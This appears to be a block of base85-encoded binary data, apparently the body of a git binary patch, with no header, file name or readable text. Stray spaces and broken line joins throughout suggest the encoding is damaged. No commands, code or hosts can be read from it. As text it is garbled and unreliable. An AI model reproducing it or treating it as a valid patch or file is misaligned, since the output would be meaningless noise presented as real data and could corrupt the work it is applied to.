?ow}++(sRXUsmJm%^``n+a#`{x5>&$-FtLk^CwYY@4(Z5T#cD;Rch$B zkvLDVhtUN|U=EWW(l4|UEPuKK5*C6cm$_7}4dJI#izQ$HHXAB%Nq*}n#E}$Vz^#7^ z!{OW>Cw~RTTv6UNw(#kK^q36>C*v(_A&@pb`Rkxe2736~VF7`Pap?o^0Iz~3l8gPv z8~e+cCk}}%@n?y%(?jtc*M&m*GmO>OVG&boqFBLw#bKV(HLv$w{K~U!-VN^rE3BVm zTjFKl;%53q$<*8^Cr5@XzCb4j#mUMnmSO(F#@cw0of9rcX_%v3qIwc{wqMJWa`mc% z4-H+IJTUXHNJWeSy&1%q&G@tn2aQ5g8Lll0H}pa bSm))NvP{uc zONc6GvtjjU)^&Un1WojJ#ZpLVUO=_jYJjKmM^O?b<=)kgs;FY7g;ufC9Y~Oj$Xa4# z Z+xIZmdF6a&wYq-W>-jEuB~Z0;-`4V-3B50lnpDG+XLt z0Nopm8@EDbR6I(6B8%@Qz>*-f@{K1TczehLT-9elzi5hzHRY@Q`F2l|ZkcQ{ybkiE zXxW{myj+gLT1v7jtyrBmYHf|pR0}Tc*c%UC>vP~F)huqm?hqe*5Xl9PXG4@p2uTg| zWjqAQ8d8a4p?s_tiAC&Az>2!L za7Yj8ljTyB6o_EKu&1)bhz;+;L0!(&C}d2J)U<2OT JW)FP;yT&R=gE`@g~Ze|Zw zzaPdgW0gRp$?hJjDPs|qoz*h#uX>FZyC0j~fI1*nm!?$A=Zk6=J*!FC?ygvQ=4bD> zSAiv)5y`U#wiQ=I=hI6`iI4BhQ}&b#_~(aJcJQzXkSO|k_{OQa$7&4iB*NU~9sU>Y ze1!0*+uW#oJ^4Jp<9VW3OVjGzJ^`GlAnwx+0iYQ;$7gXMt0xP59fD$z!kqyy*P%gU z9W2<)X= m`&8 zd2=|1cS)}6u_i{e1kKVm-^lljV?R}DvE|meabVa#gLm;+Q2hY#0eX$UBh!xo|2ug7 zIo$^+Z~h1A{vQNE08)OxU-nzh`+Xk&K3D!*pzzmm3; ?7)q6vn?RJ%*FG>4+|wb$2nS#^!-%jjgtOCp{$%w);Tg^?k4t+?oE zI{lh&3!!jbIe1Qb;Dg(ai>>GyuG Q|t*z+oks%$@kMJp57phS&tvVIz6;o`(M z%^Utr&NXthH1q;04Wtc=R20|8X1-0YRJu5l9=KUbM}!^D1kR}sZ(J7=kfT#WR&KOa zmp-RZiBNhD`iSYb7)mkG;)v2(GH|hu?|{!oH4}=w;RX6DKqK<3$_%Q-TYeK=a* A4m<_m#fWmwN zIbkf?czs+-abx!^RBIL_K5<(ZB2L|o*iZM-gS#_=#SRrh$WEJG7!7*id&r$wv3o~D zcecJ9>%PHo_U7S;JlXQ&K;VVlb`Umqk=cuNAP8WMA*g4_x*POYp?h{H_mXQasY^q1 zGg1o`yCjYGE;TTYaaH!cIvevD%E~<0FvVcRHz2-t&@B;g5+l57mHLb!N{28V!|i+K z!k6l=PhO0RIIIi+OR7gB_f2<`NkO8`$)UQ K5$2V%M%Sg*EbczV(l$8!nn; zk+nT18l7YgMXYCLP|WkAY}JESA5rbyRDbNl<6GOfxLA0r)!2yj4rwzu4f7e}6cUB} ze0v5Xl@(Ya)16R+k}vYjx;L8~gH6p1vmz&pX$EWu+;9XOXpwb4K@T<6t}gRu_zA8M zMvcMk?XBd2gMK=n7x&$bXEU^`EBW+dD#&`+NO6sHxmC( {)T(kUaqYXTJIlogc5 z%4vF^UMwWNJS(rh58im|EQ!0Ucz;Md-t;7G{tAQ$JdDb0vApzB!IRfD(CaXbW4kqE zWXaT!KTlH9BBgH|4r`v&m%YyVfk-vJcV}XQfIhmA`|?HnTi~a@DKiN{RS|+aB7o`* zfjzl%0TrlTMnkwZ>Xp1J8J*vqIoX%DlyQu~aL7_pX3RT0suDzq!l6V+lrJ&0=3r ^U5RORh4JRMU z?GRhPPyKW>${ujs0_;RQJL$=2&WA;4w;6u>JHmyyEbvE3ncWOy7++r^%sqR7mffxP zMt}`8g%^WRpGX7XOiOEE^DP#yL%c0il5WxoG>F9}ylXar%5qkk(`8}!d8MvX4n*u) zhgC#0yk|}3x);x7NMk&Ahz9gqk<2-QI3;o4E?LZ{pL7OIEMG0zzTFa;Y7;bNuhd*} zsE}z|>NHWrjufGF8HVsTzfc`e#IapR++d4kP%n9e8)qA?%dJ4X10`(y-ne#yUsOB~ z`^nrbYvQacUYB*{h%3?Fw}4G}lDQ4oPs^G?gi|QwZ0e3t9Q!n_P4(G#iKAWqZW#Ai z@Z9H7rmu8iqJS2Ie%=oc$6?U_^i>k=OyP9K^#Bk0fVbtnr>B7mvj-04HDf>A+eR AFR?w*^MRdA92ctL1BvZuN=+U~hP;`S@N@aH1;f4~d>J}L+hAOBzC zg+JFNe&U6ng9!kFjk*RvuN|L_10d)LP#OEzxc~1s<6o}(55l8t|K)y+03GrlnB`yZ z$Mo}^{v(|6hkOTMTH&9nm$CnXbHT{O&h~e4MunQS?GiiEYo@L~N^lv-bQrlr5=yqK zS@TIlc$;HPa)h~2Ry2(BL#DXtzL~f?Ce5 3`fa|al#lEjnK}Kc1iE^T5Zz8H5e`sVe`x>< zI 3;r~m7UlWUJF?PPsl#% zPr_-|&va4yE34M$G4p5Z$DchLmzazf9X)NgmQOD?1yJpaP27tGP(kaO^sMPzEcdm_ zE1q=Ko9(_VynNB(QTncfaYx@4Oc=KwFbVb01c{6q&~Dgx2X(}lAwcf4f_D~p$-e>l zVaB*p>4WWY<^l0^DSMk~)jQMHrHCzMdoQrJ8`R3UXmYn9X7n26rkN$jryzb_wLSaV z`rk12uX$Xs#~i$N1-+0ETf%bYn;^JZCF|lLDGGMDJh47!IK%Pfyam{X#;|9g>SqQx zI%AtqUNl1DDrCn?gsqD!(mgf=icK*bB$MF^;hShaef^SgBti}Jg;7Qjhzsq}WN)yr z4ZEf&s4 cW`2Zzri3 zoi657hzj+^tL8$?24>@N)PL9wt?qU{Rh6U=^VmQpM@Id-4Z4~0Mm>y $_!Zk1t0!#3RIS=2sJPy9cpE^~U0WT8#|m?>*0hVT`WZ97wou6&Deg zGqCX@ZM=`uJt&g1SLYj?Ks+4VXi_Nc$epCs&x|s3K@1+E#y>z@++3F}oKjLDaTlk@ z9x)Gf5zBa!w=c$1ooD9z3YK6&?ZeP&@~ne>1nO8{6EJVAP*36idKtaReBK8tV|&Nj zb8vu;R?vtUXf1EenY>c;+7u5a{j8|&`xRn66m9vV{=NPAm|y+`rKGT(cMqu8>zJU; z1afS$z-I3dTl&b3izns|Uh2heuO<6S9UG&T`j>gRn!voTC6-H36jz`O4pZgil5;Rz zi4}7g 9^wYU4; zy;5q)>7MtA2l*>O!}p*xuBFN}m!tQ^PF|*Z{ya|l6v;GkdFnvP@rp2=;j!CU;CJm4 zjBVe$A^bZwi9W7S-!5c9B r z1fqt0q<~|Pg5Nz;03Vfa84S`YB23ld4zaFiJ@SvIs3Y!Fq^Na=8jCdMm$<8gIb5#P zavXsr8oaJs(3TjYFCZw$$;DAqYcU_`ny`crOIWwR5lPvhX5O39Nz0G9E#I?xVCgHf zIMpAK%kxgg8Dc2Yhp)>cLsxRzK`Yk`y_dPP@pclS5P5Mtsho^El%*6uk&OE!85cl! z-UF0SQ+y#hwJII=3Rkgd*=v-mq?T_^jhev&Bo!iEj)*85B(SxVus_t{rH1l2c?pe@ zKS$LAsRkzXg*{kxbvKKKlxuZIb~Y}0f>9k9{Be*^*njW=3$er)0+NIU6^Yy?n`IdC ztPu>?FiCWEoSx2hPjJ=rn`Nm?3J0e?R*sWRlS5~BvjM~#Di0zMHm!UQ^Th(Oy-oOL zEqlHq?(2br8HUjdlBa2gS-}~BJE*g@I3@nU+=Ww^CvpNg!C1EmI|tKQ6&31xrhqyn zK`zp^M+)P<$OBfX++>c4Z@FS!pe5O0YgI#wO5B=kHXe=Y0_pA OEr~7V&2JF3gB=u48yUCT++0*EXsC~*!l$?Oel&Sq*XYRbQR$c4 wjHby$~&xid0 z#TU0>GI7sVv_DTMhaQ@xdumzNd*9t_LV*C{@wIjdj;BwYBEU?UsG@{qHWnD#j<-E; z57xd?M#=lb%V7bps5m`e-#yW=Do0AO4pL?5aG52gfKtl#B(6!rjt9}==6Dh62Pb5y zs)_IxXhqhBb&a8C=dG0KX&vS^M1+t9J1LR}O0!0I{mIp{7BP3gNEOco{TO!Q;!rY+ zR{O 7X@~x#RZs>j=i)J bAu3d&;dxY z5Qr^I2}a?d4cHoiPjCrtTimAb6vF(yE$^-WoOy~+_gp*<*rT1W9lQrq*DUrsK78u) z(?^`{7 7K(Nt&!d;GN{G^U;h3Sbcdwh`bo`afLhpSF|E z$kx!24)6yWz%Mk;Hs)?W-9KoJZT@wm|Gg;u_dgB*-x3ypD;EpE-H0CG==Hk+2n!3q zO@o2?AMdoW4XvxWrMcaYdG(*Hs~^wkq@Ast%$>{tYAZ(OHvjfH`E!o?BU$|U4gBxL z<)7b--~VmDxDLQlp#`XQ{cFw#_&ELX-~PpAjI3+`N1=bONpt*b)B9hR$q4YgVdVHl zj`{Ow_ wCZ8YgrrcDy60E I*4k-PDENFvpClYz7d+bt%?s8& |RQTM11IJs)hnk;OCx-vXC*mj{JU zOil+mu1)aWnFnGE)FF*9%4L>A1LgYmMNmDw@<89aGV1CYuDa}F5n-)c?$#mH$TmmC zSLU?*F}(6{*G#Y-sG%Ks4OQt$wDQ7z2AdFn{22Ra9uj3m$~*0Ap<7p5TrV@N?XySE z8f`Cb2>R(kLA1;B4k0kyu8lkh*+rI(_|_UX^T6>oG?3UcXhKlI0{@OF7%slH9kH&g zz92G>#+|R if892Y ti~gZpx3jus>QWc(WI9WJFm=s zt|Tc-s>Wt {m~?^9paV~j(&Zu#R= jds#&HOkU)6YUw0h|TD@=)V>aS+x+ zy $x*MUkQcs~iLq9 K_Y-%yeTVbSB$yfclT!NEX?~+KYO;k zgo3E{j&Nq^&f 0qhB0BK`6F`TTnmkkINVY^nW^@}H-ysMCS)%E=j~IBxaN@H zv=;mmP;=C)BT{jFu^OAjZz3Ct(pAYgJKDNmUyl#B2d{xPv0NZj*E_l9%YaXPs6N*3 zU#6i>H-e}ui6)M(9!J$E^kTRj84K %Ym#^lu^JVC$*b~CqQ zs@?>BCT3c-B8%Ihb05lYH%7}0*kaAG0`GPgn&J!?(*c*fih8{`CNs*)>c)R}(Lew_ zGC*dt+d_HQCoTS6No%-ph;wN)=)Q1Bo$k_NxGC kqJ1E^*Ymr4kU%d4I z^zjp`!8**$v~yLp&E_M%(Z&9FV|98F_GAcBHyFlL?{)Ok$2n=~hiQ{rxLhl9g-%}B zTJTyEu8HazJYk-w@{)z&Ad7}4p$pfeoGU?i-RbTsnp+ 6xCFp~}iei2BlcErl*NxSOz_X}9F!!)DEuImXv`SM3(0y}K*bUDP|5 zeQi3Uq_;3E_0|+|$l-uNt~E$Mz+~acv@>=ejwo!(k%-%F@72S@bX{xcf;aVGBg2rh z>nIuCTSt=Z;FdT%jT$TA LILv>U-)$)QrpY9 zI0Pkd7b2br#xJ0@ShE6W=R;jH%!;xtSw4X(*$DvGr9?}%Yi1^jFAPg{4L3E}BG;5J zCF=2MLqRd;g?uP4lOSfSqT0+tVfnP*!)Mh@4ed?*A jSPmW3rzf)&LJ*%$ zpU$9t+SiXt&vHoJ*smNrq^&AstC2D*DObdQ9d`~4WfXDpUJ5xpJ!R3d?CC-+h2G;~ z&Q&g=-bH|B@i|vxAKm?OApIi#nK0wEniSlY?-tl8(sLPy_ (_}qHJaZd zD_hh0Xq4GS4sjF2=Pm?&(s$$y^TGu#-E|l?i6*>$IH9rg@|3)4D@YmOdRD2=Z^@Nc z2pMqk-k+H=CtGUK*eJI#g7Z2$9MJn-U AUGppRQ`;%~m<$Q ?6&XbAYgHQ%AIH=;c-$ z+t(w3u_iOSvEQ|bYh8bo<|dcOp@p6ZNI=mMWxFPu%SWO>vY5_7^= YyVXnHM zJ{j}zWx^GU3S+z>b+4Of0B3iJAUDEq(7wY(*pJBhAZn`=g~I@QO<(031gfzPbfQi$ z*+B 5H+vNvmOpzzeQ>=a`s zdXsq*<^?vPdBdMA*Too_MNz8p&pWZ!Re`}*Eah}UpOG_!wd3Os9zMdoxyLP~xxppm z;10t%Wi3saXtoQ59_pK+43ynm)rhQLq7;aP9ra(@4C9IK6>5onZr*9MCi{YX{Vt#K z(xO9-?joJs7zC2$Qz6R-=ge{c0hM)0EIb&MZ3#ZKA!#cr*PISePpUDeb!(;Laz1+~ zQp_-g=pE=}XQMKH9e$otBtIslH*cKk57dAjdA9tR?xk}SZyG)MSJ+~DaTsT3KPR{w z=V?nxMw%xeD{JGdr)CAOyT2dV$4c~YiZp1HPKZTn25m6Y+>T~2sf*oII0_N0p#eQm}X%U7-J z)prmmx)*C&Lsz>z7@BwKen1BQ{der-k&d#$_3(q*hYtewL_Uo@S#wQrcD@x5&XZ;; zP~3gpBT$%v#?+>sE1flG`g0u{3jQ4dn$YWU`!|nxCXXgGOo5ub#Z8uSGj4*>2cP@T zC{T~m(fHVaS=SEOUkg`&6pq Zx=nlM}M(XMI^gU1R keJDw%Mv!Ce;Ma+@Wo; VA+Ar`BzhF+BYTzx|E(9DPc6(bG&m$5$#bi?fC? zhLf0vci&6bdMTr@AXe(+wS`|QEm9b3%$=$w9h?JrmGlJngd)Sm9A-pAt_N&-#kP2_ z3c2=&uPsa2I XR2sH >e@fqgF& @OQrW$?-qZuz!DNJoU2ykk(`-1LM&GYj VShsgK8^i7to+!b1zX-}B4&1b4a zYmSHpyXbwgN$vA19MRY+ES0|MK$mLI7+>W22yt?dikelGR00!Yk9{qP|E)|8jYLef z2B^$>hT9Bn=2~U$9qAY(u`iiKt@Xa)mttZ$ISewwc<=*Y5-W(tjC|p0OGHO&R){-) z;t{_ug>{{Wr(BYjQ^y;F1 VOkQlX#C{Jg2A|CQu*HucSdLeKcaW*pL?hm@-J1y z*v3`^Rja9bJL{^io|L|sZUlW#f^_qd-m|)Ob)u=n#qk4ZRdNTl0o{GC`cu$O0$GSS z9OvMR O%rFAOAbWyKZldR8h!{f34g%I0xjZ*{%=xjK%Ec*umg|$s!;#X` zBg8LrWvi1xIS*AD+p 6Lewh+t6 zBN$K)_@5oDPqV3U5etC~+Q^=g9lBLxig~Fm>bHx!f=}IeNLM4v$0^3+P(+djT$Nra zE#)+GgqxiwDDol~`1>YhU*=zvhFx886}faNZ=O8do^QO2eGeBD+s}y*)_CQ`{%}yL zT+vPu?poYGdkdfOI$Py#siJMUBrW?!z~%G!3c3^Tx4eDc9I$SohiQ7-^*D+64nB># z&qks(vWdKwt#RlM_LNYkm!BdbCM6->e`V>}2uG6lXFjXCb=or$3XA6KyfsE&&u_ zgYD=yA19_+GL~e6^oO